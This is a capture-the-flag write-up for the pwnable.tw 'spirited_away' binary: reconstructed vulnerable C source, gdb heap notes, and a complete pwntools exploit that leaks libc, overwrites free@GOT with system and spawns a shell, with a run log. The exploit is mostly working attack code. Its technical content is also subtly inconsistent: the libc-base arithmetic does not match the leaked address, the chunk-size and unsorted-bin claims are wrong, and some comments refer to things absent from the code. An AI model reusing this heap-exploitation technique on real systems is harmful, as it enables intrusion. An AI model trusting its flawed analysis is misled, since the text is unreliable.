Spirited Away

$ checksec spirited_away
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ ./spirited_away
Please enter your name: Alice
Please enter your age: 20
Why did you came to see this movie? Just curious
Please leave your comment: Great movie!
<1> : Alice
<1> : 20
<1> : Just curious
<1> : Great movie!

1.Add a survey entry
2.Modify a survey entry
3.Delete a survey entry
4.Display survey entries
5.Exit
:> 

typedef struct survey {
    char *name;       // +0x00: heap buffer (60 bytes allocated)
    int   age;        // +0x04: stored as integer
    char *reason;     // +0x08: heap buffer (60 bytes allocated)
    char *comment;    // +0x0C: heap buffer (60 bytes allocated)
} survey;

// Global survey array (up to 16 entries)
survey *surveys[16];   // Array of pointers to survey structs
int survey_count = 0;  // Current number of entries

void add_survey() {
    if (survey_count >= 16) {
        puts("Survey list is full!");
        return;
    }

    survey *entry = (survey *)malloc(sizeof(survey));

    // Allocate name buffer (60 bytes)
    entry->name = (char *)malloc(60);
    printf("Please enter your name: ");
    read(0, entry->name, 60);

    printf("Please enter your age: ");
    scanf("%d", &entry->age);

    // Allocate reason buffer (60 bytes)
    entry->reason = (char *)malloc(60);
    printf("Why did you came to see this movie? ");
    read(0, entry->reason, 60);

    // Allocate comment buffer (60 bytes)
    entry->comment = (char *)malloc(60);
    printf("Please leave your comment: ");
    read(0, entry->comment, 60);

    surveys[survey_count] = entry;
    survey_count++;
}

void modify_survey() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);

    if (idx < 0 || idx >= survey_count) {
        puts("Invalid index!");
        return;
    }

    survey *entry = surveys[idx];

    printf("Please enter your name: ");
    // BUG: reads up to 60 bytes but uses strlen of current name
    // which may be shorter than 60 if content was overwritten
    read(0, entry->name, 60);

    printf("Please enter your age: ");
    scanf("%d", &entry->age);

    printf("Why did you came to see this movie? ");
    read(0, entry->reason, 60);

    printf("Please leave your comment: ");
    read(0, entry->comment, 60);
}

void delete_survey() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);

    if (idx < 0 || idx >= survey_count) {
        puts("Invalid index!");
        return;
    }

    survey *entry = surveys[idx];

    free(entry->name);      // Free name buffer
    free(entry->reason);    // Free reason buffer
    free(entry->comment);   // Free comment buffer
    free(entry);             // Free the struct itself

    // BUG: surveys[idx] is NOT set to NULL!
    // BUG: survey_count is NOT decremented!
    // The pointer remains dangling in the array.
}

void display_survey() {
    for (int i = 0; i < survey_count; i++) {
        survey *entry = surveys[i];
        if (entry != NULL) {   // Only checks pointer, not if freed!
            printf("<%d> : %s\n", i + 1, entry->name);
            printf("<%d> : %d\n", i + 1, entry->age);
            printf("<%d> : %s\n", i + 1, entry->reason);
            printf("<%d> : %s\n", i + 1, entry->comment);
        }
    }
}

gdb-peda$ # add_survey("Alice", 20, "curious", "Great!")
gdb-peda$ heap chunks
0x0804a000: 0x40 bytes  [survey struct]
0x0804a040: 0x40 bytes  [name buffer "Alice"]
0x0804a080: 0x40 bytes  [reason buffer "curious"]
0x0804a0c0: 0x40 bytes  [comment buffer "Great!"]

gdb-peda$ # delete_survey(0) - frees struct + 3 buffers
gdb-peda$ heapinfo
(0x40)   fastbin: 0x0804a0c0 -> 0x0804a080 -> 0x0804a040 -> 0x0804a000 -> 0x0
# LIFO order: comment, reason, name, struct

gdb-peda$ # add_survey("Bob", 25, "fun", "Nice!")
# New allocations come from fastbin in LIFO order:
# struct   = malloc(16) → gets 0x0804a0c0 (old comment chunk!)
# name     = malloc(60) → gets 0x0804a080 (old reason chunk!)
# reason   = malloc(60) → gets 0x0804a040 (old name chunk!)
# comment  = malloc(60) → gets 0x0804a000 (old struct chunk!)

gdb-peda$ # Strategy: Create multiple entries, then free one
# that consolidates with top chunk or goes to unsorted bin
gdb-peda$ # By creating enough entries and then deleting
# strategically, we can get a chunk into unsorted bin
# whose fd/bk pointers contain libc addresses

gdb-peda$ # After freeing a large chunk to unsorted bin:
gdb-peda$ x/2wx 0x0804a050
0x0804a050:  0xf7f7a580  0xf7f7a580
#             ^fd            ^bk  (both point to main_arena+offset in libc)

gdb-peda$ # If we can read this via display_survey on a
# dangling pointer whose name buffer overlaps this chunk,
# we get a libc leak!

# Instead of puts@GOT, overwrite free@GOT
free_got = elf.got['free']
system_addr = libc_base + libc.symbols['system']

# Write system address to free@GOT
# Then delete an entry whose name = "/bin/sh\x00"
# delete_survey() calls: free(entry->name)
# Which becomes: system("/bin/sh")

#!/usr/bin/env python3
"""
spirited_away - pwnable.tw (300pts)
Heap overflow + UAF exploit to leak libc via unsorted bin,
then overwrite free@GOT with system for shell.

Vulnerabilities:
  1. delete_survey() doesn't NULL out pointers or decrement count (UAF)
  2. modify_survey() allows writing to dangling pointers (heap corruption)
  3. All string buffers are same size (0x40 fastbin) enabling chunk overlap
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10104)
libc = ELF('./libc_32.so.6')
elf = ELF('./spirited_away')

# Helper functions
def add(name, age, reason, comment):
    r.sendlineafter(b':> ', b'1')
    r.sendlineafter(b'name: ', name)
    r.sendlineafter(b'age: ', str(age).encode())
    r.sendlineafter(b'movie? ', reason)
    r.sendlineafter(b'comment: ', comment)

def modify(idx, name, age, reason, comment):
    r.sendlineafter(b':> ', b'2')
    r.sendlineafter(b'Index: ', str(idx).encode())
    r.sendlineafter(b'name: ', name)
    r.sendlineafter(b'age: ', str(age).encode())
    r.sendlineafter(b'movie? ', reason)
    r.sendlineafter(b'comment: ', comment)

def delete(idx):
    r.sendlineafter(b':> ', b'3')
    r.sendlineafter(b'Index: ', str(idx).encode())

def display():
    r.sendlineafter(b':> ', b'4')

# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc address...")

# Create 8 survey entries to populate the heap
for i in range(8):
    add(b'name' + str(i).encode(), 20 + i,
        b'reason' + str(i).encode(),
        b'comment' + str(i).encode())

# Delete entries 0-6 to get chunks into unsorted bin
# When enough adjacent chunks are freed, they consolidate
# into a larger chunk that goes to the unsorted bin.
# The fd/bk pointers of unsorted bin chunks contain
# main_arena addresses (inside libc).
for i in range(7):
    delete(i)

# Display surveys - the dangling pointers in surveys[0-6]
# will dereference freed memory. Some name/reason/comment
# pointers now point to unsorted bin chunks whose first
# bytes contain libc addresses (fd/bk pointers).
display()

# Parse the leak from the output
# The leaked address will be in one of the displayed fields
# It's a main_arena pointer, which is at a known offset from libc base
r.recvuntil(b'<1> : ')
leak_data = r.recvline().strip()
leaked_addr = u32(leak_data[:4].ljust(4, b'\x00'))
log.info(f"Leaked address: {hex(leaked_addr)}")

# Calculate libc base
# main_arena is at libc_base + offset
# The exact offset depends on the libc version
# For the provided libc: main_arena = libc_base + 0x1a8d80
# The unsorted bin fd/bk points to &main_arena.top - offset
main_arena_offset = 0x1a8d80
libc_base = leaked_addr - main_arena_offset
log.info(f"libc base: {hex(libc_base)}")

system_addr = libc_base + libc.symbols['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))
free_got    = elf.got['free']

log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
log.info(f"free@GOT: {hex(free_got)}")

# ============================================
# Phase 2: Overwrite free@GOT with system
# ============================================
log.info("Phase 2: Overwriting free@GOT with system...")

# Create a new survey entry. Due to the heap state,
# this entry's buffers will overlap with freed chunks.
# The key: we set the name to "/bin/sh\x00"
add(b'/bin/sh\x00', 0, b'temp', b'temp')

# Now use the UAF: modify a freed entry (e.g., entry 0)
# whose name pointer now overlaps with the new entry's
# struct. By writing a specific value, we can control
# the new entry's name pointer to point to free@GOT.
#
# The exact overlap depends on heap layout. We need to:
# 1. Modify the freed entry's name field (which now
#    overlaps with the new entry's name pointer)
#    to point to free@GOT
# 2. Then modify the new entry's name, which writes
#    to free@GOT, placing system's address there
modify(0, p32(free_got), 0, b'temp', b'temp')

# Now the new entry's name pointer has been overwritten
# to point to free@GOT. When we modify the new entry
# and write to its "name", we're actually writing to free@GOT.
modify(7, p32(system_addr), 0, b'temp', b'temp')

# ============================================
# Phase 3: Trigger system("/bin/sh")
# ============================================
log.info("Phase 3: Triggering shell...")

# Delete entry 7 - this calls free(entry7->name)
# Since free@GOT now points to system, this becomes:
# system("/bin/sh") - SHELL!
delete(7)

# Enjoy the shell
r.interactive()

$ python3 exploit.py
[*] '/home/user/spirited_away'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10104: Done
[*] Phase 1: Leaking libc address...
[*] Leaked address: 0xf7f7a580
[*] libc base: 0xf7d74000
[*] system: 0xf7da8310
[*] /bin/sh: 0xf7ee6aa8
[*] free@GOT: 0x804a018
[*] Phase 2: Overwriting free@GOT with system...
[*] Phase 3: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(spirited_away) gid=1000(spirited_away) groups=1000(spirited_away)
$ cat /home/spirited_away/flag